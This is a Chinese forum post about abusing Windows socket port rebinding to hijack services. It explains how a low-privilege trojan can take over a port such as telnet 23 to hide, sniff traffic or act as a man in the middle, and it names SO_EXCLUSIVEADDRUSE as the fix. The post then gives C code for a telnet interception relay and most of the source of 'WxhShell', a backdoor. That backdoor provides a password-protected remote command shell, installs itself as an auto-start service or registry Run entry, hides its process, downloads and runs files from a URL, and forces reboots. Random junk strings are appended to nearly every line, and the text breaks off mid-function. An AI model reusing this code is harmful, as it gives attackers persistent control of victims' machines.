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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B ~v6_x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A[l )>:  
W>jKWi,{  
  saddr.sin_family = AF_INET; QRju9x  
`y>m >j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u`XRgtI{g?  
9K$ x2U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zqA>eDx  
HhynU/36  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2 5~Z%_?  
\l!+l  
  这意味着什么?意味着可以进行如下的攻击: =F \Xt "  
Vh0cac|X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -5*OSA:8x  
_ s 3aaOL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O~5t[  
D"4*l5l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b$@I(.X:  
"09v6Tx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |b\a)1Po:  
z};|.N}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ja9u?UbW  
]!TE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bPTtA;u  
dk7x<$h-h0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /`m* PgJ  
;Rv WF )  
  #include o(tJc}Mh+(  
  #include Uh0g !zzp  
  #include fq>{5ODO  
  #include    |eRE'Wd0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zfop-qDOc  
  int main() kwp%5C-S  
  { 'd N1~Pa  
  WORD wVersionRequested; ozY$}|sjDT  
  DWORD ret; H^'%$F?Ss  
  WSADATA wsaData; G ]h  
  BOOL val; Ry +?#P+  
  SOCKADDR_IN saddr; @x1cV_s[  
  SOCKADDR_IN scaddr; uihH")Mo  
  int err; OG{*:1EP  
  SOCKET s; =Htt'""DN  
  SOCKET sc; p-j6H  
  int caddsize; +&\. ]Pp  
  HANDLE mt; N_92,xI#  
  DWORD tid;   {`):X_$T  
  wVersionRequested = MAKEWORD( 2, 2 ); yV`Tw"p  
  err = WSAStartup( wVersionRequested, &wsaData ); GJdL1ptc  
  if ( err != 0 ) { XVN JK-B  
  printf("error!WSAStartup failed!\n"); 3/gR}\=  
  return -1; +X#6 d v$  
  } m ^FKE:  
  saddr.sin_family = AF_INET; ?n# $y@U  
   #e.x]v:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E,d<F{=8,o  
3^P;mQ$p1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s/ABT.ZO  
  saddr.sin_port = htons(23); 8Y-*rpLy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +tk`$g  
  { Z,p@toj'  
  printf("error!socket failed!\n"); d%I7OBBx@  
  return -1; o~'p&f  
  } ^Zvb3RJg  
  val = TRUE; GLIY!BU<C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '`;=d<'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z'A 3\f   
  { yMdu Zmkc  
  printf("error!setsockopt failed!\n"); dA~_[x:Z  
  return -1; u"zR_CzYc  
  } %KVmpWku  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]-t>F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )@9Eq|jMC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "O r1 f C  
h1?xfdvGd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8Dl(zYK;  
  { 1BmKwux:  
  ret=GetLastError(); f:46.)W j<  
  printf("error!bind failed!\n"); [4xZy5V  
  return -1; "'t f]s  
  } V0D&bN*  
  listen(s,2); 8Vz!zYl  
  while(1) @_t=0Rc  
  { FI:H/e5[  
  caddsize = sizeof(scaddr); Zrwd  
  //接受连接请求 T}{zh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y_>DszRN`u  
  if(sc!=INVALID_SOCKET) $hc=H  
  { &bq1n_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i\;ZEM{  
  if(mt==NULL) +@uA  
  { j|8!gW  
  printf("Thread Creat Failed!\n"); $S' TW3  
  break; [^GBg>k  
  } &3IkC(yD  
  } 8VG}-   
  CloseHandle(mt); ;1yF[<a  
  } iz^a Qx/  
  closesocket(s); !\|  
  WSACleanup(); 9{3_2CIL  
  return 0; [f\Jcjc  
  }   IG|u;PH<  
  DWORD WINAPI ClientThread(LPVOID lpParam) <V)z{uK  
  { NA$)qX_  
  SOCKET ss = (SOCKET)lpParam; u`wD6&y*  
  SOCKET sc; QDj%m%Xd  
  unsigned char buf[4096]; KaMg [ G  
  SOCKADDR_IN saddr; )-"<19eu  
  long num; ]35`N<Ac  
  DWORD val; MA_YMxP.'  
  DWORD ret; M._E$y,5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "c} en[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CT_tJ  
  saddr.sin_family = AF_INET; v6DjNyg<x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >l8?B L  
  saddr.sin_port = htons(23); qi/k`T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 74N_>1!j  
  { $aEv*{$y  
  printf("error!socket failed!\n"); I*j~5fsS'  
  return -1; }fk3a9j9u  
  } T}z? i  
  val = 100; x]`F#5j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >&fD:y'&  
  { Kg~D~ +j  
  ret = GetLastError(); QuMv1)n  
  return -1; G>:v1lde  
  } y$nI?:d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O13]H"O_  
  { {/)i}V#RE  
  ret = GetLastError(); vN v'%;L  
  return -1; Ax\d{0/oL2  
  } _\yR/W~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]%-U~avph  
  { 4Th?q{X  
  printf("error!socket connect failed!\n"); pRh9+1EM;  
  closesocket(sc); o "0 ~  
  closesocket(ss); /Z]nV2$n)V  
  return -1; I9L3Y@(f6m  
  } QKEtV  
  while(1) T^MY w  
  { wbOYtN Y@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !w UznyYwt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '/XP4B\(E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .|u`s,\  
  num = recv(ss,buf,4096,0); ,[ppETz  
  if(num>0) UAz^P6iQ`~  
  send(sc,buf,num,0); u0<yGsEGD  
  else if(num==0) |AE{rvP{@  
  break; @D*PO-s9  
  num = recv(sc,buf,4096,0); #b&tNZ4!_  
  if(num>0) pam9wfP  
  send(ss,buf,num,0);  |15!D  
  else if(num==0) iku*\,6W  
  break; Gjq7@F'  
  } LCS.C(n,  
  closesocket(ss); '_7rooU9  
  closesocket(sc); 'Q=)-  
  return 0 ; {HM[ )t0  
  } Jlb{1B$7  
EKcPJ\7  
'bLP#TAzf  
========================================================== 6wu`;>  
>`&2]Wc)  
下边附上一个代码,,WXhSHELL j 7:r8? G  
xx1lEcj  
========================================================== &QD)1b[U  
N;YFr  
#include "stdafx.h" |xZu?)M4  
fQ1j@{Xa  
#include <stdio.h> xv2c8g~vD  
#include <string.h> ^/}4M'[w  
#include <windows.h> cy(w*5Upu  
#include <winsock2.h> p),* 4@2<  
#include <winsvc.h> E0VAhN3G\  
#include <urlmon.h> u59l)8=  
{R63n  
#pragma comment (lib, "Ws2_32.lib") ny+r>>3Td  
#pragma comment (lib, "urlmon.lib") mzM95yQ^Z  
ZZ{c  
#define MAX_USER   100 // 最大客户端连接数 T#!% Uzz  
#define BUF_SOCK   200 // sock buffer U5-8It2OR  
#define KEY_BUFF   255 // 输入 buffer .]KC*2  
f^hJAZ  
#define REBOOT     0   // 重启 z]hRc8 g}d  
#define SHUTDOWN   1   // 关机 ?mC'ZYQI  
kmTYRl )j  
#define DEF_PORT   5000 // 监听端口 i)(G0/:  
V.$tq  
#define REG_LEN     16   // 注册表键长度 urkuG4cY  
#define SVC_LEN     80   // NT服务名长度 &0[ L2x}7  
Opf)TAl{  
// 从dll定义API ~a3u['B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~vpF|4Zn5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~.G$0IJY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^{IZpT3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;u(*&vRqr^  
T ?[;ej:  
// wxhshell配置信息 R0#scr   
struct WSCFG { @$5~`?  
  int ws_port;         // 监听端口 W{q P/R  
  char ws_passstr[REG_LEN]; // 口令 R#ZJLT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]D5Maid+  
  char ws_regname[REG_LEN]; // 注册表键名 bWb/>hI8 Q  
  char ws_svcname[REG_LEN]; // 服务名 t {1 [Ip  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w+j\Py_G"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j>\rs|^O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z@x&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cs\=8_5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PX^ k;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1;kMbl]  
s}Go")p<:  
}; UMNNAX  
|Fze9kZO  
// default Wxhshell configuration 3}phg  
struct WSCFG wscfg={DEF_PORT, ns5Dydo{T  
    "xuhuanlingzhe", 19(x$=:  
    1, L.;x=w  
    "Wxhshell", ?&,6Y'"  
    "Wxhshell", SfPQ;s'  
            "WxhShell Service", ,vvfk=-  
    "Wrsky Windows CmdShell Service", 8Vn   
    "Please Input Your Password: ", 1V[ZklS  
  1, saZK+kD4I  
  "http://www.wrsky.com/wxhshell.exe", q[P>s{"  
  "Wxhshell.exe" QaEiPn~  
    }; A0A|cJP  
W[`ybGR<  
// 消息定义模块 (>u1O V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ND?"1/s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E]&N'+T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %nq<nfDT  
char *msg_ws_ext="\n\rExit."; 2P'Vp7f6 Y  
char *msg_ws_end="\n\rQuit."; :+QNN<  
char *msg_ws_boot="\n\rReboot..."; .j,xh )v"  
char *msg_ws_poff="\n\rShutdown..."; fk?!0M6d  
char *msg_ws_down="\n\rSave to "; X1}M_h %  
<W3p!  
char *msg_ws_err="\n\rErr!"; 7z,  $  
char *msg_ws_ok="\n\rOK!"; OA9 P"*  
gU&+^e >  
char ExeFile[MAX_PATH]; MTl @#M  
int nUser = 0; ^)Y3V-@t  
HANDLE handles[MAX_USER]; &Q"vXs6Gt  
int OsIsNt;  Br s}  
>m%TUQ#%  
SERVICE_STATUS       serviceStatus; 't8!.k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k:~UBs\)(  
/o6ido  
// 函数声明 _a"| :kX  
int Install(void); CiHx.5TiC  
int Uninstall(void); #WG;p(?:  
int DownloadFile(char *sURL, SOCKET wsh); 3K~^H1l  
int Boot(int flag); ?uTuO  
void HideProc(void); fM]nP4K`  
int GetOsVer(void); G='`*_$  
int Wxhshell(SOCKET wsl); .^F&6'h1H  
void TalkWithClient(void *cs); U{l f$  
int CmdShell(SOCKET sock); `hG`}G|^  
int StartFromService(void); rs>,p)  
int StartWxhshell(LPSTR lpCmdLine); g]44|9x(W  
!U(S?:hvW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hV`?, ~K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hF^JSCDz l  
>zJkG9a  
// 数据结构和表定义 yCkWuU9  
SERVICE_TABLE_ENTRY DispatchTable[] = O(0a l#Fvj  
{ BOvJEs!UX  
{wscfg.ws_svcname, NTServiceMain}, n@bkZ/G  
{NULL, NULL} ]!P6Z?  
}; }>y~P~`S:  
6z~ [Ay  
// 自我安装 U$a)lcJd  
int Install(void) Fv/{)H<:y  
{ Z9% u,Cb  
  char svExeFile[MAX_PATH]; d^IX(y*$  
  HKEY key; zTG1 0  
  strcpy(svExeFile,ExeFile); ~/SLGyu  
d1^5r 31  
// 如果是win9x系统,修改注册表设为自启动 "k [$euV  
if(!OsIsNt) { Wx;%W"a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fIx|0,D&7L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :nnch?J_  
  RegCloseKey(key); GP ^^ K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O@H D'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); si]MQ\i+  
  RegCloseKey(key); v/]xdP^Z  
  return 0; SU7,uxF  
    } HH(2  
  } Op 9+5]XF  
} pG* W>F  
else { z:dW'U?1  
i+I.>L/S  
// 如果是NT以上系统,安装为系统服务 G6Wa0Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V~o'L#a  
if (schSCManager!=0) #gf0*:p  
{ oM#+Z qP  
  SC_HANDLE schService = CreateService u,YmCEd_V  
  ( 8r,0Qic2K  
  schSCManager, OaN"6Ge#  
  wscfg.ws_svcname, ^eRbp?H*T  
  wscfg.ws_svcdisp, t?weD{O  
  SERVICE_ALL_ACCESS, B=_5gZ4Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?5pZp~  
  SERVICE_AUTO_START, I7f :TN  
  SERVICE_ERROR_NORMAL, )&)tX.  
  svExeFile, W Kd:O)J  
  NULL, jM{5nRQ  
  NULL, a{By U%  
  NULL, JGzEm>_ m  
  NULL, T`I4_x  
  NULL brCL"g|}  
  ); nM8'="$  
  if (schService!=0) KUq(&H7  
  { efbJ2C  
  CloseServiceHandle(schService); 11A;z[Zk  
  CloseServiceHandle(schSCManager); g6 SZ4WV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ESS1 L$y  
  strcat(svExeFile,wscfg.ws_svcname); /W}"/W9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #iD`Bg!VXc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y|-&=  
  RegCloseKey(key); 8k Sb92  
  return 0; /(s N@kt  
    } w);Bet  
  } VF<VyWFC0`  
  CloseServiceHandle(schSCManager); C6tfFS3bq  
} A4L.bBl  
} XzBl }4s  
-3y $j+  
return 1; #V[Os!ns  
} z=rSb4"W  
`[_p,,}Ir  
// 自我卸载 `Z2-<:]6&a  
int Uninstall(void) ,;h}<("q  
{ X4bZ4U*  
  HKEY key; ?*QL;[n1  
U'}[:h~)  
if(!OsIsNt) { leXdxpc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1l}fX}5%I;  
  RegDeleteValue(key,wscfg.ws_regname); d=HD! e  
  RegCloseKey(key); Y1DbBDk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B|AIl+y  
  RegDeleteValue(key,wscfg.ws_regname); -BrJ5]T>*  
  RegCloseKey(key); N;cSR\Ng  
  return 0; 9J}^{AA  
  } E,A9+OKxJ  
} im mf\  
} 8tT/w5  
else { _tnoq;X[  
/EVXkf0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |[/XG2S  
if (schSCManager!=0) |5BvVqn  
{ kL -f@CD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TPi{c_ ]  
  if (schService!=0) j'SGZnsy*  
  { 4"+v:t)z6{  
  if(DeleteService(schService)!=0) { D<^K7tJui  
  CloseServiceHandle(schService); EuD$^#  
  CloseServiceHandle(schSCManager); #6 $WuIG  
  return 0; k,/2]{#53d  
  } R8j\CiV17  
  CloseServiceHandle(schService); +DSZ(Zb4qY  
  } @ `SlOKz!=  
  CloseServiceHandle(schSCManager); 5%fR9?)  
} "(;t`,F  
} ;Z&w"oSJ  
j|r$ ! gV  
return 1; '81WogH:  
} _E^ !, Wz  
*Y ?&N2@c  
// 从指定url下载文件 ,Mn?h\  
int DownloadFile(char *sURL, SOCKET wsh) 2cv=7!K4Uv  
{ 1(a+|  
  HRESULT hr; O]9PYv=^  
char seps[]= "/"; %/K;!'7  
char *token; Mbxrj~ue  
char *file; }pT>dbZ  
char myURL[MAX_PATH]; @.v{hkM`  
char myFILE[MAX_PATH]; ].N%A07  
[ldx_+xa:E  
strcpy(myURL,sURL); Ehtb`Ms  
  token=strtok(myURL,seps); |OBZSk1jp  
  while(token!=NULL) 1KI5tf>>p  
  { @p9YHLxLjQ  
    file=token; ;.d{$SO  
  token=strtok(NULL,seps); 0(|36 ;x  
  } )KN]"<jB  
e[.JS6  
GetCurrentDirectory(MAX_PATH,myFILE); hJoh5DIE95  
strcat(myFILE, "\\"); 4~0 @(3  
strcat(myFILE, file); r 4+%9)  
  send(wsh,myFILE,strlen(myFILE),0); -lI6!a^  
send(wsh,"...",3,0); $w! v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +?C7(-U>  
  if(hr==S_OK) 8wzQr2:  
return 0; 5S%#3YHY2  
else }vX/55  
return 1; n'<F'1SWv  
b5UIX Kim  
} g;</|Z  
{&)E$ M  
// 系统电源模块 #D8u#8Dz  
int Boot(int flag) 'n "n;  
{  \.MPjD  
  HANDLE hToken; >m`<AynJ  
  TOKEN_PRIVILEGES tkp; !4fT<V (  
Y ^}c+)t  
  if(OsIsNt) { A}0u-W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NS^+n4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'X1/tB8*  
    tkp.PrivilegeCount = 1; qyY]: (8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q|W~6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RjG=RfB'V  
if(flag==REBOOT) { EceD\}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bqm%@*fZo  
  return 0; J]$]zD  
} C +S>;1  
else { T|h'"3'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W0 N*c*k  
  return 0; 2[Bw+<YA`  
} |&0Cuwt  
  } oJor ]QYK  
  else { JA6#qlylL  
if(flag==REBOOT) { t;)`+K#1:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,gn**E  
  return 0; ~5wT|d  
} @DCw(.k*  
else { 7! #34ue  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y-:dPc{  
  return 0; v\Xyz )  
} @" BkLF  
} OC_i,  
r>7Dg~)V  
return 1; "P8cgj C  
} ]dQ  
-jL10~/  
// win9x进程隐藏模块 PRyzUG&  
void HideProc(void) xSZ+6R|  
{ V=5v7Y3( j  
Qon>[<]B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HT=-mwa_]  
  if ( hKernel != NULL ) 2)+ddel<Z  
  { A$XmO}+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5$"I Uq*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T Ue=Yj  
    FreeLibrary(hKernel); `>skcvkm  
  } rsC^Re:*jr  
f-a+&DB9  
return; {t QZqqdn@  
} 5jK9cF$>  
g ,""j`  
// 获取操作系统版本 S"Mm_<A$@  
int GetOsVer(void) y@u,Mv  
{ y>_*}>2,O  
  OSVERSIONINFO winfo; $Rv (v%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y,vrMWDy  
  GetVersionEx(&winfo); q b7ur;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E0<$zP}V}F  
  return 1; QB#rf='  
  else  e6hfgVN  
  return 0; jij-pDQnv  
} K._* ~-A  
gqQ"'SRw  
// 客户端句柄模块 lc\f6J>HT  
int Wxhshell(SOCKET wsl) nM6/c  
{ ;\)N7SJ  
  SOCKET wsh; E|hW{oX3  
  struct sockaddr_in client; WeRX~  
  DWORD myID; kJG0X%+w  
h(3ko An  
  while(nUser<MAX_USER) m<| *  
{ y?yWM8  
  int nSize=sizeof(client); @DA.$zn&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =/L;}m)7  
  if(wsh==INVALID_SOCKET) return 1; $VyH2+ jC  
V [r1bF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pvu*Y0_p  
if(handles[nUser]==0) <B3$ODGJp  
  closesocket(wsh); ?9m@ S#@  
else Vrx3%_NkQ  
  nUser++; $WHmG!)*  
  } B0eKj=y;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qB44;!(  
8:)itYE  
  return 0; eJ tfQ@?  
} !w=6>B^  
y9)Rl)7-:  
// 关闭 socket ':LV"c4 t  
void CloseIt(SOCKET wsh) a  C<  
{ =P\Tk)(`  
closesocket(wsh); kMY1Xb  
nUser--; [_wenlkm  
ExitThread(0); "`8~qZ7k  
} ju{\7X5  
}KCb5_MDF  
// 客户端请求句柄 $g+q;Y~i0  
void TalkWithClient(void *cs) ;Vh5nO  
{ 3X A8\Mg  
^=V b'g3P~  
  SOCKET wsh=(SOCKET)cs; P gK> Z,  
  char pwd[SVC_LEN]; (n3MbVi3LU  
  char cmd[KEY_BUFF]; RYem(%jq  
char chr[1]; Z/w "zCd  
int i,j; BARs1^pR4  
tX *}l|;(  
  while (nUser < MAX_USER) { S, %BhQ[  
=%+o4\N,  
if(wscfg.ws_passstr) { etkKVr;Kv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +1Ua`3dWN_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pXv@ QD#!  
  //ZeroMemory(pwd,KEY_BUFF); t (>}  
      i=0; &S|%>C{P.w  
  while(i<SVC_LEN) { hAv.rjhw_  
_k2*2db   
  // 设置超时 nFY6K%[  
  fd_set FdRead; VQ((c:+!  
  struct timeval TimeOut; oD>j2 6Q  
  FD_ZERO(&FdRead); BmGY#D,  
  FD_SET(wsh,&FdRead); P]b * hC  
  TimeOut.tv_sec=8; 8*t8F\U#  
  TimeOut.tv_usec=0; FqpUw<]6s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^wm>\o;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &]mZp&  
re;^,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HHU0Nku@ho  
  pwd=chr[0]; F1aI4H<(T  
  if(chr[0]==0xd || chr[0]==0xa) { %qj8*1  
  pwd=0; X=U>r  
  break; g<&n V>wF  
  } -p\uW 0XA  
  i++; N! N>/9  
    } G(6MLh1  
)r^)e 4UI  
  // 如果是非法用户,关闭 socket 4W$ t28)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .uGvmD <;x  
} 3Sb'){.MT+  
, e6}p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); //_aIp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h<8.0  
ohPCYt  
while(1) { ]~H\X":[>  
oPPxja g\  
  ZeroMemory(cmd,KEY_BUFF); |0e7<[  
2Yt+[T*  
      // 自动支持客户端 telnet标准   #ovmX  
  j=0; ExDv7St1(k  
  while(j<KEY_BUFF) { !uwZ%Ux z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jR[3{ Reo  
  cmd[j]=chr[0]; FhkS"y  
  if(chr[0]==0xa || chr[0]==0xd) { /PuN+M  
  cmd[j]=0; m5/d=k0l  
  break; B"rfR_B2M#  
  } f8c'`$O  
  j++; _R 6+bB$  
    } ySEhi_)9^  
Xi~%,~  
  // 下载文件 2l#c?]TA  
  if(strstr(cmd,"http://")) { GV"HkE;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VX<jg#(  
  if(DownloadFile(cmd,wsh)) -4 !9cE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#;DO9  
  else wVms"U.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^UEExj f  
  } |{a`,%mw  
  else { "7&DuF$s)  
9h$08l  
    switch(cmd[0]) { #OT8_D  
  {r,MRZaa  
  // 帮助 !lk -MN.  
  case '?': { :4V8Iz 71  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ".Q``d&X  
    break; bI_T\Eft  
  } R rtr\ a  
  // 安装 AsOkOS3  
  case 'i': { 5UgxuuP4  
    if(Install()) 8 o SNnT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(db1zmS~  
    else #!i&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +nj 2  
    break; 3?+CP-T-j  
    } 6(5YvT  
  // 卸载 knsTy0]  
  case 'r': { c :{#H9  
    if(Uninstall()) _3'FX# xc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW$(;-rY  
    else T|o ]8z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;#_[Zl  
    break; TJY  [s-  
    } 2`?58&  
  // 显示 wxhshell 所在路径 ip`oL_c  
  case 'p': { jrl'?`O  
    char svExeFile[MAX_PATH]; y| 7sh  
    strcpy(svExeFile,"\n\r"); z3bRV{{YqN  
      strcat(svExeFile,ExeFile); {|E'  
        send(wsh,svExeFile,strlen(svExeFile),0); 7^2  
    break; pr) `7VuKp  
    } !G8=S'~~  
  // 重启 C2[* $ 1U  
  case 'b': { .EF(<JC?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b5u8j  
    if(Boot(REBOOT)) K|{IX^3)V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? +q(,P@*  
    else { Wz%b,!  
    closesocket(wsh); bl8EzO  
    ExitThread(0); FkH HTO  
    } `Pcbc\"*y  
    break; 6VsgZ"Il  
    } x/B1\U I  
  // 关机 UK7pQt}9  
  case 'd': { p" ;5J+?(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aJ{-m@/ 5  
    if(Boot(SHUTDOWN)) e}u68|\EC  
